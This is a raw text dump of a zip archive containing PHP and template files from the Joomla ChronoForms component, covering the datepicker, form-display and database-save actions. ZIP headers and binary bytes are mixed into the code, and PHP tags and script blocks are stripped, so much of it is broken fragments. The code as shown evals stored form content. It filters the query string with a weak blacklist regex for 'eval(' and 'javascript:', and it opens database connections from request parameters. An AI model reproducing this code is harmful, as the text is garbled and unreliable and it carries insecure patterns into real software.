H:i:s')."', inputOutputFormat: '".$params->get('inputOutputFormat', 'Y-m-d H:i:s')."', allowEmpty: ".$params->get('allowEmpty', 'true').", timePicker: ".$params->get('timePicker', 'true').", timePickerOnly: ".$params->get('timePickerOnly', 'false'); ob_start(); eval('?>'.$actiondata->content1); $actiondata->content1 = ob_get_clean(); if(!empty($actiondata->content1)){ $con_str .= ", ".$actiondata->content1; $con_str .= "}"; }else{ $con_str .= "}"; } ob_start(); ?> window.addEvent('load', function() { new DatePicker(); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PK@y>\YFЕOcomponents/com_chronoforms/form_actions/custom_datepicker/custom_datepicker.phpnuW+A 'Custom Datepicker', 'tooltip' => 'Load a custom Datepicker class.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'field_class' => '', 'pickerClass' => 'datepicker_dashboard', 'format' => 'd-m-Y H:i:s', 'inputOutputFormat' => 'Y-m-d H:i:s', 'allowEmpty' => 1, 'timePicker' => 1, 'timePickerOnly' => 0, 'content1' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\!!Ocomponents/com_chronoforms/form_actions/custom_datepicker/custom_datepicker.ctpnuW+A
      Custom Datepicker
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_datepicker_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_datepicker_{n}_field_class_config', array('type' => 'text', 'label' => "Field Class", 'class' => 'medium_input', 'smalldesc' => "The class name assigned to the field(s) which will be used as date field.")); ?> input('action_custom_datepicker_{n}_pickerClass_config', array('type' => 'text', 'label' => "Picker Class", 'class' => 'medium_input', 'smalldesc' => "The class for the picker itself, will control how the calendar looks like.")); ?> input('action_custom_datepicker_{n}_format_config', array('type' => 'text', 'label' => "Date format shown", 'class' => 'medium_input', 'smalldesc' => "The format shown inside the visible field for the user in the form.")); ?> input('action_custom_datepicker_{n}_inputOutputFormat_config', array('type' => 'text', 'label' => "Date format posted", 'class' => 'medium_input', 'smalldesc' => "The date format stored in the field and posted when the form is submitted.")); ?> input('action_custom_datepicker_{n}_allowEmpty_config', array('type' => 'select', 'label' => 'Allow Empty ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Allow the field to be empty, will load the field with empty value.')); ?> input('action_custom_datepicker_{n}_timePicker_config', array('type' => 'select', 'label' => 'Load Time picker ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the time picker after selecting a date ?')); ?> input('action_custom_datepicker_{n}_timePickerOnly_config', array('type' => 'select', 'label' => 'Time picker Only ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should this date field be a time picker only ? if yes then no date selection will be shown.')); ?> input('action_custom_datepicker_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra options extension", 'rows' => 10, 'cols' => 50, 'smalldesc' => "Add extra picker options here, e.g:
      days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], startView: 'decades'")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Add your fields class then start configuring your picker.
      • All picker options and config are available here:
        http://www.monkeyphysics.com/mootools/script/2/datepicker.

      tabEnd(); ?>
      PK@y>\ٽ?components/com_chronoforms/form_actions/show_html/show_html.phpnuW+A 'Show HTML (Display Form)', 'tooltip' => 'Eval and show the form content.'); function load($clear){ if($clear){ $action_params = array( 'data_republish' => 1, 'display_errors' => 1, 'load_token' => 1, 'keep_alive' => 0, 'curly_replacer' => 1, 'submit_event' => 'submit', 'form_container' => '', 'page_number' => '1' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $params = new JParameter($actiondata->params); } } ?>PK@y>\d q{{Hcomponents/com_chronoforms/form_actions/show_html/cfaction_show_html.ctpnuW+AloadAction($form, $actiondata); ?>PK@y>\ <components/com_chronoforms/form_actions/show_html/index.htmlnuW+A PK@y>\s//?components/com_chronoforms/form_actions/show_html/show_html.ctpnuW+A
      Show html
      Header(array('general' => 'General', 'multi_page' => 'Advanced (Multi Page)'), 'cfaction_show_html_element_config_{n}'); ?> tabStart('general'); ?> input('action_show_html_{n}_data_republish_config', array('type' => 'select', 'label' => 'Republish form data', 'options' => array(0 => 'No', 1 => 'Yes (recommended)'), 'smalldesc' => 'Try to republish the form data in case the form has been reloaded because of some error.')); ?> input('action_show_html_{n}_display_errors_config', array('type' => 'select', 'label' => 'Display Fields Errors', 'options' => array(0 => 'No', 1 => 'Yes (recommended)'), 'smalldesc' => 'Display server side errors below fields, for this to work you need to have this code in the place you want the error to appear at:
      <div id="error-message-FIELD_NAME_HERE"></div>

      *This is added automatically when using the wizard.')); ?> input('action_show_html_{n}_load_token_config', array('type' => 'select', 'label' => 'Load Security Token', 'options' => array(0 => 'No', 1 => 'Yes (recommended)'), 'smalldesc' => 'Do you want to load the security token ? this is used to verify that form code has not been changed by the user before submission, you need to have the "Check Token" action to check it.')); ?> input('action_show_html_{n}_keep_alive_config', array('type' => 'select', 'label' => 'Load Keep Alive', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the keep alive element ? this will ensure that the user session does not expire while having the form opened.')); ?> input('action_show_html_{n}_curly_replacer_config', array('type' => 'select', 'label' => 'Curly brackets replacer', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Replace any fields names inside curly brackets, this will work only if you have some data in the $form->data array.')); ?> tabEnd(); ?> tabStart('multi_page'); ?>

      input('action_show_html_{n}_submit_event_config', array('type' => 'select', 'label' => 'Submission Event', 'options' => array('_self' => 'Self', 'load' => 'load', 'submit' => 'submit'), 'smalldesc' => 'Choose the event which will be executed when the form is submitted.')); ?> input('action_show_html_{n}_page_number_config', array('type' => 'text', 'label' => 'Page Number', 'smalldesc' => 'Enter the page number to show in case you have more than 1 page in your form or leave it as its (1).')); ?> input('action_show_html_{n}_form_container_config', array('type' => 'text', 'label' => 'Div container id', 'smalldesc' => 'Enter an id and it will be assigned to a div element wrapping the form element in the page.')); ?> tabEnd(); ?>
      PK@y>\Ʋ8U8UHcomponents/com_chronoforms/form_actions/show_html/cfaction_show_html.phpnuW+Aparams); $output = ''; $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document = JFactory::getDocument(); //set form's HTML name and ID $form->html_form_name = isset($form->html_form_name) ? $form->html_form_name : $form->form_params->get('html_form_name', $form->form_name); $form->html_form_id = isset($form->html_form_id) ? $form->html_form_id : $form->form_params->get('html_form_id', 'chronoform_'.$form->form_name); //check the assets files to be loaded if((int)$form->form_params->get('load_files', 1) > 0){ //load form css files if((bool)$form->form_params->get('tight_layout', 0) === false){ $document->addStyleSheet($uri->root().'components/com_chronoforms/css/frontforms.css'); }else{ $document->addStyleSheet($uri->root().'components/com_chronoforms/css/frontforms_tight.css'); } } if(($form->form_params->get('enable_jsvalidation', 1) || (strpos($form->form_details->content, 'validate[') !== false && $form->form_params->get('auto_detect_settings', 1))) && (int)$form->form_params->get('load_files', 1) > 0){ //load js validation code $this->_loadValidationScripts($form); } $datetime_picker_selector = $form->form_params->get('datepicker_config', ''); if((!empty($datetime_picker_selector) || strpos($form->form_details->content, 'cf_date_picker') !== false || strpos($form->form_details->content, 'cf_time_picker') !== false || strpos($form->form_details->content, 'cf_datetime_picker') !== false) && (int)$form->form_params->get('load_files', 1) > 0){ //load js for the date time picker $jversion = new JVersion(); if(($jversion->RELEASE > 1.5) && $form->form_params->get('datepicker_type', 0) == 1){ $this->_loadDatePickerScripts_moo($form); }else{ $this->_loadDatePickerScripts($form); } } if((strpos($form->form_details->content, 'tooltipimg') !== false) && (int)$form->form_params->get('load_files', 1) > 0){ //load the tooltips files $this->_loadToolTip($form); } if(!empty($form->validation_errors) && (int)$form->form_params->get('load_files', 1) > 0){ //add the validation style $this->_loadSSValidation($form); } //check if form tags should be added or not if($form->form_params->get('add_form_tags', 1)){ $output .= "
      form_params->get('action_url', ''))){ $form_tag_array[] = 'action="'.$form->form_params->get('action_url', '').'"'; }else{ $action_url = 'index.php?option=com_chronoforms&chronoform='.$form->form_name; if($form->form_params->get('relative_url', 1) == 1){ $action_url = $this->selfURL(); if((bool)$form->disguised === true){ //disguise mode, the event will be used as a task for the parent app preg_match_all('/(&*)task=([^&]+)/is', $action_url, $chronoform_matches); $action_url = str_replace($chronoform_matches[0], '', $action_url); $separator = $this->_getURLSeparator($action_url); if(isset($form->data['task']) && !empty($form->data['task']) && strpos($action_url, $form->data['task']) !== false){ //this is propably a SEF URL $action_url = str_replace($form->data['task'], $form->form_params->get('action_task', $params->get('submit_event', 'submit')), $action_url); }else{ $action_url .= $separator.'task='.$form->form_params->get('action_task', $params->get('submit_event', 'submit')); } }else{ preg_match_all('/(&*)event=([^&]+)/is', $action_url, $event_matches); $action_url = str_replace($event_matches[0], '', $action_url); //strip the form name if exists and add own form name preg_match_all('/(&*)chronoform=([^&]+)/is', $action_url, $chronoform_matches); $action_url = str_replace($chronoform_matches[0], '', $action_url); $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.'chronoform='.$form->form_name; } } if((bool)$form->disguised === false){ $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.'event='.$params->get('submit_event', 'submit'); } //check if we are submitting to _self if($params->get('submit_event', 'submit') == '_self'){ preg_match_all('/((&|&|\?)*)(event|task)=([^&]+)/is', $action_url, $event_matches); $action_url = str_replace($event_matches[0], '', $action_url); } //attach the itemid if exists $item_id = JRequest::getVar('Itemid', ''); if(!empty($item_id) && stripos($this->selfURL(), 'Itemid') !== false && strpos($action_url, 'Itemid') === false){ $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.'Itemid='.$item_id; } //attach the session id if it exists in the data array $session_key_param = $form->form_params->get('session_key_param', 'cf_sid'); //if(isset($form->data[$session_key_param]) && !empty($form->data[$session_key_param])){ if(isset($form->session_token) && !empty($form->session_token)){ preg_match_all('/(&*)'.$session_key_param.'=([^&]+)/is', $action_url, $session_key_param_matches); $action_url = str_replace($session_key_param_matches[0], '', $action_url); $separator = $this->_getURLSeparator($action_url); $action_url .= $separator.$session_key_param.'='.$form->session_token; } //fix the ampersand $action_url = str_replace('&', '&', $action_url); $action_url = str_replace('&&', '&', $action_url); $action_url = str_replace('&', '&', $action_url); //add the action URL to the form tag pieces array $form_tag_array[] = 'action="'.$action_url.'"'; } $form_tag_array[] = 'name="'.$form->html_form_name.'"'; $form_tag_array[] = 'id="'.$form->html_form_id.'"'; $enctype = ''; $method = $form->form_params->get('form_method', 'post'); if($method == 'file' || ($form->form_params->get('auto_detect_settings', 1) && (stripos($form->form_details->content, 'type="file"') !== false || stripos($form->form_details->content, "type='file'") !== false))){ $method = 'post'; $enctype = 'enctype="multipart/form-data"'; } //add the form method $form_tag_array[] = 'method="'.$method.'"'; //add the enctype if exists $form_tag_array[] = $enctype; //add the form class $form_tag_array[] = 'class="Chronoform'.$form->form_params->get('html_form_class', '').'"'; //add any attachments if(trim($form->form_params->get('form_tag_attach', ''))){ $form_tag_array[] = $form->form_params->get('form_tag_attach', ''); } //build the form tag $output .= implode(" ", array_filter($form_tag_array)).'>'; } //show error messages $this->_showErrors($form); //echo $output; ob_start(); eval('?>'.$form->form_details->content); $temp_output = ob_get_clean(); //check the page to view if(preg_match("//i", $temp_output)){ $form_pages = explode("", $temp_output); $active_page_index = (int)$params->get('page_number', 1) - 1; $output .= $form_pages[$active_page_index]; }else{ $output .= $temp_output; } //add any extra content $output .= $form->extra_content; //Load any form data if((int)$params->get('data_republish', 1) == 1){ include_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'includes'.DS.'data_republish.php'); $HTMLFormPostDataLoad = new HTMLFormPostDataLoad(); //$HTMLFormPostDataLoad->validation_errors = $form->validation_errors; if(isset($form->data['chrono_verification']) && !empty($form->data['chrono_verification'])){ $form->data['chrono_verification'] = ''; } $output = $HTMLFormPostDataLoad->load($output, $form->data); } //Display any form errors if((int)$params->get('display_errors', 1) == 1){ include_once(JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'libraries'.DS.'includes'.DS.'display_errors.php'); $HTMLFormPostDisplayErrors = new HTMLFormPostDisplayErrors(); $HTMLFormPostDisplayErrors->validation_errors = $form->validation_errors; $output = $HTMLFormPostDisplayErrors->load($output, $form->data); } //Replace curly fields names if((int)$params->get('curly_replacer', 1) == 1){ $output = $form->curly_replacer($output, $form->data, '.', true); } //load token if enabled if((int)$params->get('load_token', 1) == 1){ $output .= JHTML::_('form.token'); } //load keep alive if enabled if((int)$params->get('keep_alive', 0) == 1){ JHTML::_('behavior.keepalive'); } //check if form tags should be added or not if($form->form_params->get('add_form_tags', 1)){ $output .= "
      "; } //check if the form should be inside a div container ? if(strlen(trim($params->get('form_container', ''))) > 0){ $output = '
      '.$output.'
      '; } echo $output; } function _getURLSeparator($url = ''){ $separator = ''; $action_url = $url; if(strpos($action_url, '?') !== false && substr($action_url, -1) != '?'){ $separator = '&'; } if(strpos($action_url, '?') === false){ $separator = '?'; } return $separator; } function _showErrors($form){ if(!empty($form->validation_errors) && $form->form_params->get('show_top_errors', 1)){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document = JFactory::getDocument(); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/error.css'); echo '
      1. '.implode('
      2. ', $this->_normalize($form->validation_errors)).'
      '; } } function _normalize($array = array()){ $return = array(); foreach($array as $k => $v){ if(is_array($v)){ $return = array_merge($this->_normalize($v), $return); }else{ $return[] = $v; } } return $return; } function _loadValidationScripts($form){ if($form->loaded_validation === false){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $form->html_form_name = isset($form->html_form_name) ? $form->html_form_name : $form->form_name; $form->html_form_id = isset($form->html_form_id) ? $form->html_form_id : 'chronoform_'.$form->form_name; $document->addStyleSheet($uri->root().'components/com_chronoforms/css/formcheck/theme/'.$form->form_params->get('jsvalidation_theme', 'classic').'/formcheck.css'); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/formcheck_fix.css'); $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/formcheck-yui.js'); $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/formcheck-max.js'); $validationClass = "FormCheck"; //check for JPanes existance if(strpos($form->form_details->content, 'jimport("joomla.html.pane");') !== false){ //load jpanes validation fix $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/formcheck-jpane.js'); $validationClass = "FormCheckJPane"; } if(((bool)$form->form_params->get('jsvalidation_errors', 1) === true) && ($validationClass == "FormCheck")){ $validationClass = "FormCheckMax"; } if(1){ $lang = JFactory::getLanguage(); $lang_tag = $lang->getTag(); $lang_pcs = explode('-', $lang_tag); $lang_tag = file_exists(str_replace('/', DS, JPATH_SITE.DS.'components/com_chronoforms/js/formcheck/lang/'.$lang_pcs[0].'.js')) ? $lang_pcs[0] : $form->form_params->get('jsvalidation_lang', 'en'); } $document->addScript($uri->root().'components/com_chronoforms/js/formcheck/lang/'.$lang_tag.'.js'); ob_start(); ?> window.addEvent('domready', function() { document.id('html_form_id; ?>').addClass('hasValidation'); formCheck_html_form_name); ?> = new ('html_form_id; ?>', { onValidateSuccess: form_params->get('jsvalidation_onValidateSuccess', "\$empty"); ?>, display : { showErrors : form_params->get('jsvalidation_showErrors', 0); ?>, errorsLocation: form_params->get('jsvalidation_errorsLocation', 1); ?> } }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } //set validation loaded $form->loaded_validation = true; } } function _loadDatePickerScripts($form){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/datepicker/datepicker_dashboard.css'); $document->addScript($uri->root().'components/com_chronoforms/js/datepicker/datepicker.js'); $settings = array( "'.cf_date_picker', {pickerClass: 'datepicker_dashboard', format: 'Y-m-d', inputOutputFormat: 'Y-m-d', allowEmpty: true", "'.cf_datetime_picker', {pickerClass: 'datepicker_dashboard', inputOutputFormat: 'Y-m-d H:i:s', timePicker: true, allowEmpty: true, format: 'd-m-Y H:i:s'", "'.cf_time_picker', {pickerClass: 'datepicker_dashboard', inputOutputFormat: 'H:i:s', timePickerOnly: true, allowEmpty: true, format: 'H:i:s'" ); //$selector = 'dateTimePicker'; $datepicker_ext = $form->form_params->get('datepicker_config', ''); ob_start(); ?> window.addEvent('load', function() { new DatePicker(); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function _loadDatePickerScripts_moo($form){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $cf_url = $uri->root();//($mainframe->isSite()) ? JURI::Base() : $uri->root(); $cf_url .= 'components/com_chronoforms/js/datepicker_moo/'; // you can change the uncommented line here to change the style $datepicker_style = $form->form_params->get('datepicker_moo_style', 'datepicker_dashboard'); //$datepicker_style = 'datepicker_jqui'; //$datepicker_style = 'datepicker_vista'; $document->addStyleSheet($cf_url.$datepicker_style.'/'.$datepicker_style.'.css'); if(1){ $lang = JFactory::getLanguage(); $lang_tag = $lang->getTag(); $lang_tag = file_exists(str_replace('/', DS, JPATH_SITE.DS.'components/com_chronoforms/js/datepicker_moo/Locale.'.$lang_tag.'.DatePicker.js')) ? $lang_tag : 'en-US'; if($lang_tag != 'en-US'){ $document->addScriptDeclaration('Locale.use("'.$lang_tag.'");'); } } $document->addScript($cf_url.'Locale.'.$lang_tag.'.DatePicker.js'); $document->addScript($cf_url.'Picker.js'); $document->addScript($cf_url.'Picker.Attach.js'); $document->addScript($cf_url.'Picker.Date.js'); $settings = array(); // Settings for standard date picker $settings[1]['class'] = '.cf_date_picker'; $settings[1]['options'] = array( "pickerClass: '{$datepicker_style}'", "format: '%Y-%m-%d'", "allowEmpty: true", "useFadeInOut: !Browser.ie" ); // Settings for standard date + time picker $settings[2]['class'] = '.cf_datetime_picker'; $settings[2]['options'] = array( "pickerClass: '{$datepicker_style}'", "format: '%d-%m-%Y %H:%M:%S'", "timePicker: true", "allowEmpty: true", "useFadeInOut: !Browser.ie" ); // Settings for standard time picker $settings[3]['class'] = '.cf_time_picker'; $settings[3]['options'] = array( "pickerClass: '{$datepicker_style}'", "format: '%H:%M:%S'", "pickOnly: 'time'", "allowEmpty: true", "useFadeInOut: !Browser.ie" ); $datepicker_ext = $form->form_params->get('datepicker_config', ''); $script = ""; foreach($settings as $s){ $options = implode(', ', $s['options']); if($datepicker_ext){ $options .= ', '.$datepicker_ext; } $script .= " new Picker.Date($$('{$s['class']}'), { {$options} }); "; } $script = " window.addEvent('load', function() { {$script} }); "; if((bool)$form->form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration($script); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function _loadSSValidation($form){ $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); ob_start(); ?> window.addEvent('domready', function() { $$('.error-message').each(function(element){ if($chk(element.getParent('.ccms_form_element'))){ element.getParent('.ccms_form_element').addClass('form-error'); } }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function _loadToolTip($form){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document = JFactory::getDocument(); $cf_url = $uri->root(); $cf_url .= 'components/com_chronoforms/css/'; JHTML::_('behavior.mootools'); $document->addStyleSheet($cf_url.'/tooltip.css'); //echo ''; //JHTML::_('behavior.tooltip', '.tooltipimg'); ob_start(); ?> window.addEvent('domready', function(){ //create the tooltips var tipz = new Tips($$('div.tooltipimg'),{ className: 'tooltipbox', fixed: true, hideDelay: 0, showDelay: 0 }); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } function selfURL() { $uri = JURI::getInstance(); $inbetween = ''; if($uri->getQuery())$inbetween = '?'; //php4 // Now we need to clean what we got since we can't trust the server var $theURI = $uri->getQuery(); $theURI = urldecode($theURI); $theURI = str_replace('"', '"',$theURI); $theURI = str_replace('<', '<',$theURI); $theURI = str_replace('>', '>',$theURI); $theURI = preg_replace('/eval\((.*)\)/', '', $theURI); $theURI = preg_replace('/[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']/', '""', $theURI); //php5 for later //$theURI = filter_var($uri->getQuery(), FILTER_SANITIZE_STRING); return $uri->current().$inbetween.$theURI; } function generateURL($url = '', $addvars = array()){ if(empty($url)){ return $this->selfURL(); }else{ if(!empty($addvars)){ foreach($addvars as $addvar => $varval){ //strip the var name if exists preg_match_all('/(&*)'.$addvar.'=([^&]+)/is', $url, $matches); $url = str_replace($matches[0], '', $url); $separator = $this->_getURLSeparator($url); $url .= $separator.$addvar.'='.$varval; } } return $url; } } } ?>PK@y>\);components/com_chronoforms/form_actions/show_html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)9components/com_chronoforms/form_actions/db_save/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ :components/com_chronoforms/form_actions/db_save/index.htmlnuW+A PK@y>\ ;components/com_chronoforms/form_actions/db_save/db_save.phpnuW+A 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'DB Table save', 'tooltip' => 'Create/Update a DB table record using the available form data.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $params = new JParameter($actiondata->params); $return = true; //check if a different database connection is needed if($params->get('ndb_enable', 0)){ $option = array(); $option['driver'] = $params->get('ndb_driver', 'mysql');// Database driver name $option['host'] = $params->get('ndb_host', 'localhost');// Database host name $option['user'] = $params->get('ndb_user', '');// User for database authentication $option['password'] = $params->get('ndb_password', '');// Password for database authentication $option['database'] = $params->get('ndb_database', '');// Database name $option['prefix'] = $params->get('ndb_prefix', 'jos_');// Database prefix (may be empty) $database = & JDatabase::getInstance($option); $params->set('table_name', $params->get('ndb_table_name', '')); } //end new db connection $table_name = $params->get('table_name', ''); if(!empty($table_name)){ $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = 'chronoform_data'; } //generate a dynamic model for the table $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $dynamic_model_code = array(); $dynamic_model_code[] = "getCfg('dbprefix'), '', $table_name)."')) {"; $dynamic_model_code[] = "class Table".str_replace($mainframe->getCfg('dbprefix'), '', $table_name)." extends JTable {"; $primary = 'id'; foreach($table_fields as $table_field => $field_data){ $dynamic_model_code[] = "var \$".$table_field." = null;"; if($field_data->Key == 'PRI')$primary = $table_field; } $dynamic_model_code[] = "function __construct(&\$database) {"; if($params->get('ndb_enable', 0)){ $dynamic_model_code[] = "\$db_inst = JDatabase::getInstance(".var_export($option, true).");"; $dynamic_model_code[] = "parent::__construct('".$table_name."', '".$primary."', \$db_inst);"; }else{ $dynamic_model_code[] = "parent::__construct('".$table_name."', '".$primary."', \$database);"; } $dynamic_model_code[] = "}"; $dynamic_model_code[] = "}"; $dynamic_model_code[] = "}"; $dynamic_model_code[] = "?>"; $dynamic_model = implode("\n", $dynamic_model_code); eval("?>".$dynamic_model); //load some variables $user = JFactory::getUser(); $defaults = array( 'cf_uid' => md5(uniqid(rand(), true)), 'cf_created' => date('Y-m-d H:i:s', time()), 'cf_created_by' => $user->id, 'cf_ipaddress' => $_SERVER["REMOTE_ADDR"], 'cf_user_id' => $user->id ); $row = JTable::getInstance(str_replace($mainframe->getCfg('dbprefix'), '', $table_name), 'Table'); //get the data array under the model id if exists $form_data = $form->get_array_value($form->data, explode('.', $model_id)); if((bool)$params->get('save_under_modelid', 0) === false){ $form_data = $form->data;// = $form->set_array_value($form->data, explode('.', $model_id), $form->data); }else{ //if it didn't exist then create an empty one if(!isset($form_data)){ $form_data = array(); //$form->data = $form->set_array_value($form->data, explode('.', $model_id), $form_data); } } //check Parameters fields list if(strlen(trim($params->get('params_fields', ''))) > 0){ $params_fields = explode(",", trim($params->get('params_fields', ''))); foreach($params_fields as $params_field){ if(isset($form_data[$params_field])){ $param_value = $form_data[$params_field];//$form->get_array_value($form->data, explode('.', $params_field)); if(!is_null($param_value) && is_array($param_value)){ $params_field_data = new JParameter(''); foreach($param_value as $k => $v){ if(is_array($v)){ $v = implode(",", $v); } $params_field_data->set($k, $v); } $form_data[$params_field] = $params_field_data->toString(); //$form->data = $form->set_array_value($form->data, explode('.', $params_field), $params_field_data->toString()); } } } } //check if new record or updated one if(isset($form_data[$primary]) && !empty($form_data[$primary])){ //don't merge, just set a modified date $form_data = array_merge(array('cf_modified' => date('Y-m-d H:i:s', time()), 'cf_modified_by' => $user->id), $form_data); $form->data = $form->set_array_value($form->data, explode('.', $model_id), $form_data); }else{ $form_data = array_merge($defaults, $form_data); $form->data = $form->set_array_value($form->data, explode('.', $model_id), $form_data); } if(!$row->bind($form_data)){ $form->debug[] = $row->getError(); $return = false; } if(!$row->store()){ $form->debug[] = $row->getError(); $return = false; } $form->data[strtolower($model_id.'_'.$primary)] = $row->$primary; $form->data = $form->set_array_value($form->data, explode('.', $model_id.'.'.$primary), $row->$primary); return $return; } } function load_tables(){ //print_r2($_GET); $option = array(); $option['driver'] = JRequest::getVar('dbdriver', 'mysql');// Database driver name $option['host'] = JRequest::getVar('dbhost', 'localhost');// Database host name $option['user'] = JRequest::getVar('dbuser', '');// User for database authentication $option['password'] = JRequest::getVar('dbpass', '');// Password for database authentication $option['database'] = JRequest::getVar('dbname', '');// Database name $option['prefix'] = JRequest::getVar('dbprefix', 'jos_');// Database prefix (may be empty) //print_r2($option); $database = & JDatabase::getInstance($option); if(strpos(get_class($database), 'JDatabase') !== false){ $tables = $database->getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } return implode(",", $options); }else{ return "DB Connection Failed!"; } } function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'enabled' => 1, 'model_id' => 'chronoform_data', 'save_under_modelid' => 0, 'params_fields' => '', 'ndb_enable' => 0, 'ndb_driver' => 'mysql', 'ndb_host' => 'localhost', 'ndb_user' => '', 'ndb_password' => '', 'ndb_database' => '', 'ndb_table_name' => '', 'ndb_prefix' => 'jos_' ); } return array('action_params' => $action_params); } } ?>PK@y>\a>#>#;components/com_chronoforms/form_actions/db_save/db_save.ctpnuW+A
      DB Save
      Header(array('basic' => 'Basic', 'advanced' => 'Advanced'), 'db_save_config_{n}'); ?> tabStart('basic'); ?> input('action_db_save_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_db_save_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The db table to which the data will be saved.")); ?> input('action_db_save_{n}_model_id_config', array('type' => 'text', 'label' => "Model ID", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "1- The array key under which the data to be saved will be expected in the \$_POST array.
      2- The array key under which the saved data array will exist after the save process. e.g:\$form->data[model_id]")); ?> input('action_db_save_{n}_save_under_modelid_config', array('type' => 'select', 'label' => 'Save Under Model ID', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Should we save the data coming under ths Model ID ONLY ? if yes then your data array should include some array of values under a key name equals your model_id value or no form data will be saved.
